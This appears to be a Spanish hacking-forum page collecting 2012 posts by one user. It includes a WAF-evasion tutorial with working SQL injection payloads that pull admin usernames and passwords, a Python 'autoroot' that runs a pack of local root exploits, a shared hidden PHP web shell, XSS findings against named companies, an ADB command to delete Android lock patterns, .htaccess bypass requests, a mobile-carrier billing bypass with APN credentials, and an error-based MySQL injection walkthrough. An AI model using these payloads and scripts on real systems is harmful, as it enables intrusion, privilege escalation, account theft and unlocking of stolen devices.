Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - q3rv0

#41
Bugs y Exploits / PWNEANDO el WAF!
Septiembre 11, 2012, 06:28:16 PM
WAF PWNED!



[0x1] -------------- Que es un WAF?

[0x2] -------------- Reconocimiento de un Firewall de aplicaciones web

[0x3] -------------- Tecnicas de evacion SQL
                     
                     [0x2a] ------------ Utilizando comentarios

                     [0x2b] ------------ Uso de la funcion CHAR()

                     [0x2c] ------------ HPP (Polucion de parametros HTTP)

                     [0x2d] ------------ HPF (Fragmentacion de parametros HTTP)



-------------------------------------------+


[0x1] Que es un WAF?


-------------------------------------------+

Ultimamente, me fui encontrando con aplicaciones que por algun motivo y siendo vulnerables
me saltaban con un error del tipo 501 (method no implementado), o directamente al realizara algun tipo de inyeccion, el servidor me enviava un flag FIN y
terminaba paradado con un mensajito de "The concexion was reSet", sospechoso, no?, por esta razon decidi escribir a cerca de los WAF (firewalls de aplicaciones web)
Para quien no conozco de su existencia, los WAF se encargan de mediar entre el cliente y servidor, filtrando la entrada de caracteres segun la configuracion de seguridad del mismo.
Existen varios de estos, uno de los mas conocidos es ModSecurity, pero ademas de este muchas aplicaciones corren con:

-Libhtp

-Ironbee

y demas...

Un WAF trabaja en la capa de aplicacion, controlando la entrada de datos en protocolos como HTTP/HTTPS/SOAP/XML-RPC y segun el trafico que se halle en la blacklist de su configuracion enviaran un mensaje de alerta ante determinado vector de ataque tales como:

http://vulnpage/alal.php?vuln=9999"><script>alert(/waf/)</script> XSS

http://vulnpage/alal.php?vuln=9999'+or+'5'>='3-- SQLI

http://vulnpage/alal.php?vuln=../../../../../lol%00 LFI


http://vulnpage/alal.php?vuln=No tienes permitido ver los links. Registrarse o Entrar a mi cuenta? RFI

ETC...

-------------------------------------------------+



[0x2] Reconocimiento de un Firewall de aplicaciones web



--------------------------------------------------+


Como descubrimos la presencia de un WAF en la aplicacion?

Generalmente las respuestas de tipo:

- 501 (method not implemented)

- Conexion reseteada por parte del servidor

- Mensaje 403

- Redireccionamiento hacia la pagina de inicio


Estos son indicios de la presencia de algun tipo de mediador que nos esta hinchando las pelotas XD!

Una de las maneras de obtener el tipo de waf que protege un servidor, es indagando
dentro de las respuestas en las cabeceras http.

Para ello, si estamos en duda de que la aplicacion corre con un firewall web, podemos usar el buscador shodan, para cersiorarnos de  que en realidad es asi.


Dork: "host:"Underterminal.com" Mod_security enabled"



Informacion del tipo y version de WAF en la cabecera Server.

------------------------+
HTTP/1.0 200 OK
Date: Mon, 10 Sep 2012 20:25:38 GMT
Server: Mod_Security 2.5.9 enabled
Last-Modified: Wed, 13 Jul 2011 07:12:51 GMT
ETag: "c902e9-2c-4a7ee24f602c0"
Accept-Ranges: bytes
Content-Length: 44
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
---------------------------+


Otra es usando herramientas o scripts que se encarguen de realizar un fingerprinting sobre estos como por ejemplo http-waf-detect.nse, un motor encargado de la deteccion de waf's incorporado en nmap.

Podemos utilizarlo de la siguiente manera:

nmap -Pn -n -VV -T2 --script=http-waf-detect.nse "TARGET"


Veamos que pasa con papa google?

--------------------------------------------------------------+

nmap -p80 -vv -T2 -Pn -n  --script http-waf-detect No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Starting Nmap 6.01 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) at 2012-09-11 01:38 ART
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Warning: Hostname No tienes permitido ver los links. Registrarse o Entrar a mi cuenta resolves to 11 IPs. Using 74.125.229.37.
Initiating SYN Stealth Scan at 01:38
Scanning No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (74.125.229.37) [1 port]
Discovered open port 80/tcp on 74.125.229.37
Completed SYN Stealth Scan at 01:38, 0.44s elapsed (1 total ports)
NSE: Script scanning 74.125.229.37.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 01:38
Completed NSE at 01:38, 13.07s elapsed
Nmap scan report for No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (74.125.229.37)
Host is up (0.039s latency).
Other addresses for No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (not scanned): 74.125.229.38 74.125.229.39 74.125.229.40 74.125.229.41 74.125.229.46 74.125.229.32 74.125.229.33 74.125.229.34 74.125.229.35 74.125.229.36
Scanned at 2012-09-11 01:38:24 ART for 13s
PORT   STATE SERVICE
80/tcp open  http
| http-waf-detect: IDS/IPS/WAF detected:
|_google.com:80/?p4yl04d3=<script>alert(document.cookie)</script>


NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.85 seconds
           Raw packets sent: 1 (44B) | Rcvd: 1 (44B)
-------------------------------------------------------------------+



[0x3] Tecnicas de Evacion SQL




[0x3a] Utilizando comentarios



--------------------------------------------------------------+


Las tecnicas de evacion de waf, se centran en engañar al firewall para inyectar los caracteres que se encuentran en la "Blacklist", hay varios metodos de evacion, veamos algunos implementandolos en inyecciondes SQLI

Los comentarios /*!*/ pueden ser utilizados para vestir a ciertas sentencias que dejan una alerta en la aplicacion, veamos el siguiente ejemplo.

El siguiente path es vulnerable a sqli.

http://somepage/intranet.php?id=[SQLI]

"MYSQL ERROR en la sintaxis"

Enumeramos columnas de la tabla.

http://somepage/intranet.php?id=9999+order+by+5

FALSE!, hasta ahora sabemos que la tabla que interactua con el script intranet.php posee 4 columnas, vamos a ver que pasa con la tecnica UNION.

http://somepage/intranet.php?id=9999+UNION+SELECT+1,2,3,4+AND+1=1

501 METHOD NOT IMPLEMENTED! LOL!

Una vez que se realizo el reconocimiento de algun tipo de WAF en la aplicacion, ya sabemos que hay ulguna clausula que esta siendo filtrada por este.

Tratemos de evadir la blacklist, utilizando los tag /**/ o /*!*/

http://somepage/intranet.php?id=9999+/*!UNION*/+/*!SELECT*/+1,2,3,4+/*!AND*/+1=1

2
  3

Bien, hemos logrado saltarnos la pared del WAF.

Utilizando /**/ como %20:

http://somepage/intranet.php?id=9999/**//*!UNION*//**//*!SELECT*//**/1,2,3,4/**//*!AND*//**/1=1

De ahora en mas podemos ir variando la estructura de la sentencia, una manera seria cortar cada clausula con /**/

http://somepage/intranet.php?id=9999/**//*UN/**/ION*//**//*SEL/**/ECT*//**/1,2,3,4/**//*AND*//**/1=1

Tambien podemos utilizar dobles clausulas en el mismo vector:

http://somepage/intranet.php?id=9999+/*UNION*/+UNION+/*SELECT*/+SELECT+1,2,3,4+/*AND*/+1=1

fijense como una esta entre los tags /**/ y otra no.

----------------------------------------------------------------------+


[0x3b] Uso de la funcion CHAR()


----------------------------------------+


CHAR() es una funcion sql que basicamente transforma un caracter/s en ascii a string.

por ejemplo q=113

mysql> SELECT ASCII('q');
+------------+
| ascii('q') |
+------------+
|        113 |
+------------+
1 row in set (0.00 sec)

mysql> SELECT CHAR(113);
+-----------+
| CHAR(113) |
+-----------+
| q         |
+-----------+
1 row in set (0.00 sec)

mysql> SELECT CHAR(91, 81, 93, 51, 114, 86, 91, 48, 93);
+-------------------------------------------+
| CHAR(91, 81, 93, 51, 114, 86, 91, 48, 93) |
+-------------------------------------------+
| [Q]3rV[0]                                 |
+-------------------------------------------+
1 row in set (0.00 sec)

Entonces ya nos podemos ir dando una idea de como ofuscar nustro vector.

http://somepage/intranet.php?id=9999+UNION+SELECT+1,2,3,4+AND+1=1

Quedaria mas o menos de la siguiente manera vistiendo a UNION & SELECT

http://somepage/intranet.php?id=9999+CHAR(117, 110, 105, 111, 110)+CHAR(115, 101, 108, 101, 99, 116)+1,2,3,4+AND+1=1


-------------------------------------------------------------+


[0x3c] HPP (Polucion de parametros HTTP)


-----------------------------------------+


La vulnerabilidad HPP puede ser aprovechada para insertar nuestros vectores en la aplicacion y asi poder decierle al WAF "OWNED BABY!"

Pero que es HPP?????

HPP (Polucion de parametros HTTP) es una vulnerabilidad web que no tiene muchos años de nacida, fue descubierta en el 2009,
esta tecnica se centra en inyectar varios valores en un mismo parametro, bien, ustedes se deben estar preguntando, pero de que me sirve ante la evacion de un firewall web??

Sabemos que los usuarios interactuan con aplicaciones dinamicas a travez de un parametro, hay variable que almacenan varios valores, pero otras que se encargan de almacenar 1 solo valor, en ese tipo de var que pasaria si le introdujeran dos valores diferentes??

Segun la tecnlogia que utilice la aplicacion reaccionara de determinada forma, aca les pongo un par de ejemplos de como toman 2 o mas valores distintas tecnologias web.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -------------------> concacatena dos o mas valores con una coma

ejemplo: id=q3rv0,[Q]3rV[0]

PHP/APACHE ---------------------> imprime el segundo valor de 2

ejemplo: id=q3rv0&id=[Q]3rv[0] lo que se interpretara en el servidor sera el segundo valor [Q]3rv[0]

Bien vallamos a la accion, los WAF's generalmente verifican cadas variable por separado, es decir si utilizamos el siguiente vector para ofucar codigo aprovechando un HPP


http://somepage/intranet.aspx?id=9999+OR+1=COVERT(INT,(@@VERSION))--

Evacion: http://somepage/intranet.aspx?id=9999+CONVERT(INT&id=(@@VERSION))--

Con esto engañariamos al firewall debido a que no podra identificar el vector de ataque entero.

Por lo tanto al tratarse de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y sabiendo que concatena dos valores con coma el codigo se ejecutaria de la siguiente manera en el server.

SELECT user_name FROM usuarios WHERE id= 9999+OR+1=COVERT(INT,(@@VERSION))--

OWNEANDO al WAF y obeteniendo la version del DBMS.

Otra manera de darle mas dinamismo a esta tecnica es utilizando /**/ entre las variables

Que pasaria si el WAF nos detectara la inyeccion anterior por que tomaria como ofensivo el vector id=9999+CONVERT(INT

si desearamos usar mas parametros para evadirlo asi:

http://somepage/intranet.aspx?id=9999&id=OR+1=&id=CONVERT&id=(INT&id=(@@VERSION))--

La inyeccion se procesaria de esta manera en la base de datos:

SELECT user_name FROM usuarios WHERE id=9999,OR+1=,CONVERT,(INT,(@@VERSION))--

Esto daria error de sintaxis, para solucionarlo utilizaremos nuestra amiga /**/ vistiendo cada parametro


Quedando de la siguiente manera:

http://somepage/intranet.aspx?id=9999/*&id=*/OR+1=/*&id=*/CONVERT/*&id=*/(INT&id=(@@VERSION))--


Ahora si podemos decir OWNED BABY!


----------------------------------------------------------+



[0x3d] HPF (Fragmentacion de parametros HTTP)



-------------------------------------------------------+


La fragmentacion de parametros HTTP me recuerda a cuando utilizamos la opcion -f de nmap para fragmentar paquetes IP y asi evadir las estrictas reglas del firewall, esta tecnica no es muy diferente a la que mencione anteriormente (HPP), la unica diferencia es que podemas usarla algun path que utilize varios parametros

por ejemplo tenemos la siguiente url:

http://lalala/index.aspx?id=1&nan=2&lala=3

Podemos fragmentar el vector de ataque entre las variables

id=
nan=
lala=


Supongamos que el servidor corre co una base de datos MYSQL que no es muy comun, en su mayoria las web que utilizan tecnologia No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o ASP, corren con algun SQL SERVER 200*

Inyectando normalmente: http://lalala/index.aspx?id=1 UNION SELECT 1,2,concat(username, 0x3a, password)+FROM+admin+LIMIT+1,1--&nan=2&lala=3

Para fragmentar dicho vector y siempre recordando que No tienes permitido ver los links. Registrarse o Entrar a mi cuenta concatena 2 o mas valores con , podriamos intentar asi:


http://lalala/index.aspx?id=1+UNION+SELECT+1/*&nan=*/2,concat(username, 0x3a, password)/*&lala=*/FROM+admin+LIMIT+1,1--

Podemos usar la imaginacion para moldear varios tipos de ataque con ambas tecnicas, recordando siempre y cuando como trabaja y toma los valores la tecnologia que corre en el servidor.






Saludos!!
#42
Aqui les dejo un pdf que escribi, mostrando el uso de unix-privesc-check

y como a veces es factible en sistemas mal configurados, en el documento

muestro como logro conseguir acceso root en el servidor sin tener que

hacer uso de ningun exploit publico o privado.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Para complentar un poco mas con este temas, les dejo tambien un articulo interesante que muestra otra de las tantas maneras en las cuales se puede aprovechar para elevar privilegios en un sistema comprometido y los invito a pasarse por la web de Alguien en la que se encuentra muy buena calidad de informacion avanzada.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bytes!
#43
Hacking ShowOff / XSS Reflected Quicksilver Brasil
Septiembre 09, 2012, 02:11:37 AM




No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Method=POST

Path Vuln= searchForm=[XSS]
#44
Bugs y Exploits / 44 Local-Root-Exploits+Autoroot
Septiembre 08, 2012, 03:08:37 PM
Hace un par de dias un amigo me paso 44 local root exploits ya compilados previamente, hay de todo, para kernels, 2007, 2010, 2011, tambien hay algunos priv8 y se los comparto.
Ademas decidi armar un sencillo autoroot en python para lanzarlos.


Código: php
#!/usr/bin/python
import os
import subprocess
banner= """                                         
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-++-+--------+-+-+-+-+-+-+-+-+-+-+                   
+            AUTOROOT BY [Q]3rV[0]              +                                             
+-+-+-+-+-+-+-+-+--+-+-+-+-+-+-+-+-+-+-+-+-+--+-+
+ By [Q]3rv[0]                                  +
+ Site: http://underterminal.nixiweb.com        +
+ Mail: under.terminal[at]gmail[dot]com          +
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                                                 """               
print chr(27)+"[1;31m"+ banner
print chr(27)+"[0m"
exploit=0
comando="id"
privs=subprocess.Popen(comando, shell=True, stdout=subprocess.PIPE).stdout.read()
print chr(27)+"[1;31m"+"[*] Cargando Exploit's..."
print chr(27)+"[0m"
while exploit <= 43:
    exploit=exploit+1
    print chr(27)+"[1;31m"+"[0x"+str(exploit)+"] Corriendo..."
    print chr(27)+"[0m"
    os.system('./'+str(exploit))
    if privs.find('root')!=-1:
        print chr(27)+"[4;31m"+"[+GOOD!+] Server R00te3d x Exploit [0x"+str(exploit)+"]"
        print chr(27)+"[0m"
        break
    else:
        print chr(27)+"[1;31m"+"[-WRONG!-] El exploit [0x"+str(exploit)+"] no pudo R00tear!"
        print chr(27)+"[0m"



Exploit-Pack: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Saludos!
#45
Bugs y Exploits / Web-Shell 12309.php
Septiembre 06, 2012, 07:42:13 PM
Muchas veces cuado ingresamos a un server y subimos nuestra webshell, nos encontramos con que la mayoria de las funciones que interactuan con el systema en php (ejecucion de comandos), estan deshabilitadas por seguridad, ya que se trata de un vps, en el cual conviven varios host.




La mayoria de estas webshell utiliza funciones como popen(), exec(), shell_exec(), system(), en el screenshoot se puede ver como ciertas de ellas se encuntran down, a todo esto me pregunto y ssh2_exec() y pcntl_exec() estaban restringidas???...no!, antes que ponerme a programar algun script, o a modificar la shell, me puse a preguntar por alguna que utilizara estas funciones, entonces me cruzo con la shell 12309, que justamente cumplia con lo requerido.



Aca les dejo el link de descarga.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

PD: si la llaman normalmente los va a redireccionar a la pagina de error 404, miren el cdigo en las primeras lineas  ;)

#46
Bugs y Exploits / OWASP TOP 10 2010 By Dino
Septiembre 03, 2012, 09:10:18 PM
Saludos!

El siguiente material hace parte del contenido tematico que imparto en la electiva Hacking de Web  y en el Programa de Especializacion en Seguridad Informatica (Seminario en Seguridad Web) en la Universidad Autonoma de Occidente, es solo una recopilacion adaptada del Informe del proyecto OWASP TOP 10-2010 desmenuzando su contenido a mi manera como me gusta a mi con plastilina tomando lo q considero mas importante y complementandolo con evidencias de casos reales de Auditoria de Seguridad Web.



No vamos a ver cosa de otro mundo solo algunas evidencias q clasifique entre lo q consideraba los riesgos mas importantes en Aplicaciones Web.





He aqui la presentacion que espero sea de su agrado.......

Presentacion: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Y he decidido compartir el dia de Hoy como contribucion al libre conocimiento. No estoy como muy conversador Hoy mas bien como con depre............ xD



Asi que si te gusto solo ...............







Bytes



Dino

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#47


Path vulnerable=No tienes permitido ver los links. Registrarse o Entrar a mi cuenta[XSS]


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
  • /%29%3C/script%3E&UI_LOCALE=&pnr=&motivo=&nocont=1
#48
Hola como estan todos!? este es un nuevo pdf en el que pretendo desarrollar de manera sencilla y entendible dos tecnicas de inyeccion a ciegas en base de datos Mysql, por un lado me gustaria comenzar a hacer un corto repaso de la tecnica "binary search" que es comunmente las mas usada y conocida para realizar este tipo de ataques, despues pasar a lo que es el metodo "Bit Shifting" y por ultimo culminar con otro metodo que hace uso de la funcion FIND_IN_SET().


Disfruten el documento :D

Visualizalo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Descarga directa: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#49
Bugs y Exploits / XSS a travez de ERROR
Agosto 26, 2012, 04:31:59 PM
No todos los errores del tipo mysql, mssql, postgresql, sqlite3, funciones como include(), main(), require(), require_once() , errores en scripts VBscripts, etc, tienen que ser suceptibles a rfi, lfi, sqli, etc. Hay ciertas ocaciones en que este tipo de mensajes no pueden ser aprovechados de manera satisfactoria, pero a travez del error se podria inyectar codigo javascript en el index. Miremos un ejemplo de una web que al parecer es vulnerable a mysql injection.






Como podemos divisar en el mensaje que nos devuelve la DB salta la cadena que acabo de inyectar en el parametro vulnerable.

Probemos a ver si logramos ponerla en <b>negrita</b>



Efectivamente inyectamos codigo html, a ver que pasa con un alert?.



bien, vemos en que otro tipo de error podemos incrustar un XSS.


En la siguiente web tenemos una posible lfi.




Probemos nuevamente de meter un alert donde se alla la cadena que nos devuelve el error.




Como vemos todo error por parte del servidor que nos devuelva la cadena que introducimos en el parametro puede ser aprovechado para inyectar de manera reflejada un XSS, con o sin evasivas! ojala les haya servido!

Bytes!





#50
Hacking ShowOff / XSS Reflected Movistar
Agosto 24, 2012, 07:12:01 PM


Sitio= No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Path vulnerable= productSearch.aspx?txt=[XSS]

#51
Hace bastante tiempo que habia encontrado esta especie de falla, si se puede llamar asi, pero hasta ahora no se me habia ocurrido escribir sobre ella, queria esperar un poco mas para cersiorarme de que en realidad no se trataba de un problemita temporal en el servicio de movistar argentina.
La verdad que me lleve la sorpresa sin querer, jugando con el navegador, sin un mango en el android, me puse a realizar peticiones forzadas, abriendo varias pestañas a la vez tratando de conectar a un mismo dominio, y puff? que paso logre obtener el index del objetivo, aunque algunos objectos de la pagina no habian logrado cargar completamente, como imagenes o *.swf, estaba viendo el contenido de una pagina si garpar un centavo de mi bolsillo.



Lo primero que pense fue, quizas este cacheada en el proxy? ya que me conectaba a travez de este. Pero con el tiempo me fui dando cuenta que el contenido en los foros cambiaba, y yo hacia una semana que estaba sin cred.
Bien, entonces puse a laburar a tcpdump y empeze a abrir pestañas a lo loco hasta que el objetivo me revelara el index.

El mayor error es el siguiente, permitir la entrada y salidad de datos para los clientes que no tiene saldo!




Obviamente si intento conectarme a cualquier dns fuera de los que es No tienes permitido ver los links. Registrarse o Entrar a mi cuenta el apn me redirecciona hacia la web de telefonica.




"PARA SEGUIR NAVEGANDO NECESITAS RECARGAR TU CREDITO!"

Puedo navegar tranquilamente sobre los host del servidor.

Una vez capturado todo el trafico necesario para ver que pasaba, lo visualizo con whireshark, en la imagen se puede ver el GET a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y un 307 (redireccion) por parte del apn.



Entonces que mierda pasaba?? como podia saltear el redireccionamiento? me carcomia la duda, entonces fui directo a la magia, busque la respuesta 200 ok que me tiraba el apn una vez que lograba cargar el contenido prohibido jojo.



Obteniendo el contenido de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Llegue a la conclucion que el index se cacheaba en el proxy una vez que este lo pedia, asi mismo me devolvia los datos que habia logrado cargar.
Pero por que?, no tengo idea, supongo que el apn esta configurado con un limite de redirecciones ante determinada cantidad de peticciones, viendo de cerca el trafico capturado por tcpdump, diviso una respuesta http del tipo 304, (Not Modified).

CitarEl HTTP Error 304 (Not modified), es un código de estado HTTP  para "use a local  copy" (usar copia local), que significa que la página será recibida desde el caché del visitante en lugar de ser recibida desde el servidor web.

Técnicamente el "error 304" no está indicando un error, sino que indica que el recurso que es requerido no ha cambiado desde la última vez que ha accedido.

El código 304 sólo debe ser retornado desde el servidor web si es permitido por el cliente (por ejemplo, el navegador web). Dicho cliente especifica esto último a través de, por ejemplo, la cabecera If_Modified_Since en la petición.

También el código 304 es empleado por los sistemas que crean caché o las arañas (spiders) de los buscadores, para determinar si un recurso debe ser o no descargado nuevamente.

Segun la deficion del el mensaje tipo 304, me dice que el contenido no ha cambiado desde la ultima vez que se ha accedido, pero al lograr cargar el contenido este se encuentra actualizado.
Ademas de recivir la informacion que el proxy a cacheado, en fin, veamos que pasa con ICMP y UDP, son filtrados??

Con un simple ping...








Llamada perdida LOL!

Evidentemente no filtra por ambos protocolos.

Dejo los datos del APN.

Nombre: Movistar_WAP

APN:wap.gprs.unifon.com.ar

Proxy: 200.5.68.10

Puerto: 8080

User: wap

Password: wap



Bueno se los dejo como una incognita, el que posea servicio en movistar argentina y tenga tiempo para probar que no dude en hacerlo ah dejo el trafico capturado por tcpdump por si quieren analizarlo con mas detalle.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Saludos!


#52


Muchos de nosotros bloqueamos nuestro teléfono con el característico sistema de patrón de seguridad de Android. Siempre se ha caracterizado como un buen método para proteger tu teléfono de las miradas indiscretas y que aporta una buena seguridad en general. Pero como siempre he dicho, si alguien quiere entrar en tu teléfono, lo hará. Con patrón o sin.

En esta ocasión un usuario de XDA (m.sabra) acaba de descubrir un método muy sencillo que nos va a permitir saltarnos el patrón de seguridad de cualquier teléfono Android sin necesidad de ser root. Tan solo hace falta dos cosas


  Saber utilizar el ADB (¿he oído drivers bien instalados?)
  Tener el modo depuración activado



Los métodos para saltarse el patrón de desbloqueo son los siguientes

Método 1

En una consola mediante ADB introducimos las siguientes órdenes

   
Código: php
 adb shell
    cd /data/data/com.android.providers.settings/databases
    sqlite3 settings.db
    update system set value=0 where name='lock_pattern_autolock';
    update system set value=0 where name='lockscreen.lockedoutpermanently';
    .quit


Método 2

Mucho más sencillo. En esta ocasión tan solo hemos de ejecutar lo siguiente

Código: php
adb shell rm /data/system/gesture.key




m.sabra nos recomienda realizar la siguiente rutina

   
    Método 1
    Reiniciar
    Método 2
    Reiniciar



Al hacer todo esto, puede que te siga pediendo el patrón de desbloqueo pero tal y como se muestra en el vídeo,  puedes pulsar cualquier cosa.
Conclusiones

De este hecho se han de sacar varias conclusiones

Por mucho patrón de seguridad, código pin o lo que sea, si alguien que sabe de móviles te roba el teléfono podrá saltárselo todo. No hay un sistema de protección definitivo
Más vale tener desactivado el modo depuración cuando no lo necesites. Si no lo tienes activado este método no sirve.
Este método puede ser una buena solución para toda la gente que pone un patrón de seguridad y luego se olvida de él.

Espero que os haya parecido interesante. Yo desde luego me lo apunto para el futuro.

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#53
Gracias a la Startup de Hack a Server es posible crear un server vulnerable con el que podrás practicar junto con otra gente pentesting en un entorno real.

Sitio: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para configurar tu máquina has de seguir unos pocos pasos.

Primero registrarse:

Una vez ya estamos registrados podremos ir a crear una máquina nueva

Al crear el target podemos escoger diferentes opciones

En mi caso he elegido Ubuntu. Proporcionas la cuenta de root y listo.

Finalmente en el Dashboard puedes ver un resumen de la máquina creada.

Hack a server como  ya sabréis proporciona VPN para poder conectarte a su entorno y realizar las prácticas pertinentes.

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#54
Les dejo el solucionario del reto en video producido por Arthusu, para quienes participaron "gracias".

Solo dos personas descubrieron la frase oculta...."El me ve" XD

1- CalebBucker

2- Arthusu




#55
Bugs y Exploits / Jugando con .htaccess
Agosto 08, 2012, 02:54:20 AM
La mayoria ya conoce cual es la funcion de este archivo en el servidor encargandose de actuar sobre el fichero de configuracion de apache "httpd.conf"

Permite:

Redireccion de url's

Respuestas de error personalizadas.

Proteccion de directorios, subdirectorios y ficheros en el servidor.

Certificados de autentificacion http.

etc...


No vengo a escribrir de como implementar cada una de sus funciones.

En la Black-Hat pasada se hablo de una supuesta vulnerabilidad en .htaccess, yo creo que mas que una vulnerabilidad es solo una mala implementacion del metodo <Limit> cuando se desea restringir el acceso a cierto directorio/fichero presentando un certificado de autentificacion http.

En cuanto a estos tipos de certificados tenemos los:

Basicos: La contraseña viaja en texto plano

Resumen: El servidor le aplica un hash al password antes de ser enviado.

En la siguiente imagen podemos encontrar un servidor que implementa un certificado de tipo basico.





Conociendo la cantidad de admins que andan sueltos, Podriamos deducir para suerte nuestra que nos estariamos encontrando con un .htaccess configurado de la siguiente manera (supongamos).

Código: php
AuthUserFile .htpasswd
AuthName "Area Radioactiva"
AuthType Basic

<Limit GET>
require valid-user
</Limit>


Donde esta la mala implementacion?

<Limit GET>

Vemos que solo se limita a peticiones GET, dejando de lado TRACE, OPTIONS, POST, PUT, COPY, MOVE, DELETE, TRACK, etc, entre otras.

Podriamos obtener el contenido de algun fichero detras de la proteccion utilizando el metodo POST.



Otras configuraciones mas restringidas incluyen el metodo POST como limite.

Código: php
AuthUserFile .htpasswd
AuthName "Area Radioactiva"
AuthType Basic

<Limit GET POST>
require valid-user
</Limit>



Pero eso no nos niega la posibilidad de enumerar los ficheros y directorios protegidos por .htaccess utilizando los demas metodos que se hayen habilitados en el servidor.

Si analizamos, ahun existiendo o no el path /files/pass.txt, el servidor nos responderia con el mismo error 401 (no autorizado)



Lo mismo pasara al realizar una peticion POST, pero que hay de los demas metodos, como responderia ante una peticion http que no este dentro de los <Limit> ? por ejemplo TRACE.

Código: php
TRACE /files/pass.txt HTTP/1.0

HTTP/1.0 200 ok
Date: Thu, 05 Jul 2012 10:53:32 GTM
Server: Apache /2.2.3 (centOS)
Connection: close
Content-type: message/http
TRACE /files/pass.txt HTTP/1.0


Evidentemente nos responde con 200 ok, hemos logrado evadir la restriccion del .htaccess para deducir la existencia del fichero en el servidor, en caso de no existir el servidor nos responderia con un error 404.

Otro manera seria realizar peticiones con metodos no implementados e inexistentes como GETS, el servidor lo tomaria como si se tratara de un metodo GET.

Código: php
GETS /files/pass.txt HTTP/1.1

HTTP/1.0 200 ok
Date: Thu, 05 Jul 2012 10:53:32 GTM
Server: Apache /2.2.3 (centOS)
Connection: close
Content-type: message/http

q3rv0:queteimporta


Este tipo de evaciones lo implementa la herramientas HTexploit.



Saludos!





#56
Hola nuevamente y bienvenidos a todos a un nuevo tutorial sobre inyecciones mysql, solo que en este post vengo a exponer otro tipo de tecnica "MYSQL ERROR BASED", no encontre ninguno en español, y poco se explica de este tipo de inyecciones en papers en ingles, asi que
me dispongo a desmembrar la estructura del ataque con los conociemiento que poseo en el lenguaje mysql.

Antes que nada, es necesario que sepan sobre inyecciones simples usando las clausulas "union+select".

Se utilizara un entorno real para elaborar el tutorial.



Buscando errores del tipo mysql y una vez encontrado el script vulnerable, me dispongo a comenzar la inyeccion.

Código: php
/shop.php?pid=1 order by 2--
error!





1 columna!


Entonces comenzamos con la tecnica "union select"

Código: php
/shop.php?pid=1 union select 1--
      error!.. :(



Definitavamente no recivimos ningun dato de la columna para poder realizar la inyeccion, mas que un error.

Que hacemos entonces????

En esta situaciones, mas de uno agarrara el havij o  el nmap, y si! obtendra resultados, pero se preguntara como los obtuvo?
de que me estoy perdiendo? como era la inyeccion en si?

Basicamente la inyeccion es esta.
Código: php

1 and (select 1 from (select count(*),concat((select (select concat(user())) from information_schema.tables limit 0,1),
floor(rand(0)*2))columna from information_schema.tables group by columna)tabla)--


complicadita de entender a simple vista??

Con esta sentencia obtenemos el usuario que corre en la base de datos.




Pero que paso, como dije anteriormente, a esta tecina se le llama "doble query/error based" por lo tanto engañamos a la base de datos, con una doble consulta, para que en el error 1062 (Duplicate entry) nos revele el resultado de la inyeccion. Algo similar pasa en las inyecciones myssql.

Pero vallamos mas en profundidad.

Hay un par de funciones que llaman la atencion y son rand() y floor()

Para que sirven?

rand(): Nos devuelve un valor aleatorio en punto flotante en el rango 0 a 1.0. por ejemplo.

Código: php
mysql> select rand(20);
+-------------------+
| rand(20)          |
+-------------------+
| 0.158882612510475 |
+-------------------+
1 row in set (0.00 sec)

mysql>


floor(): retorna el valor entero mas grande pero no mayor a la variable que se le pase.

Código: php
mysql> select floor(5.65);
+-------------+
| floor(5.65) |
+-------------+
|           5 |
+-------------+
1 row in set (0.00 sec)

mysql>


Lo que mas me costo entender no fue como funcionaban ambas funciones floor(rand(0)*2) si no que fue para que se incluian dentro de la
sentencia.

Podemos ver que el resultado de combinar ambas es igual a 0.

Código: php
mysql> select floor(rand(0)*2);
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
+------------------+
1 row in set (0.00 sec)

mysql>


El funcionamiento seria de la siguiente manera, rand() genera un valor aleatorio a partir de 0.

Código: php
mysql> select rand(0);
+-------------------+
| rand(0)           |
+-------------------+
| 0.155220427694936 |
+-------------------+
1 row in set (0.00 sec)

mysql>


ese valor se multiplica 2 (*2)

Código: php
mysql> select (rand(0)*2);
+-------------------+
| (rand(0)*2)       |
+-------------------+
| 0.310440855389871 |
+-------------------+
1 row in set (0.00 sec)

mysql>


Por ultimo floor() nos da el valor entero mas grande pero no mayor.

Código: php
mysql> select floor(0.310440855389871);
+--------------------------+
| floor(0.310440855389871) |
+--------------------------+
|                        0 |
+--------------------------+
1 row in set (0.00 sec)

mysql>


El fucking 0!

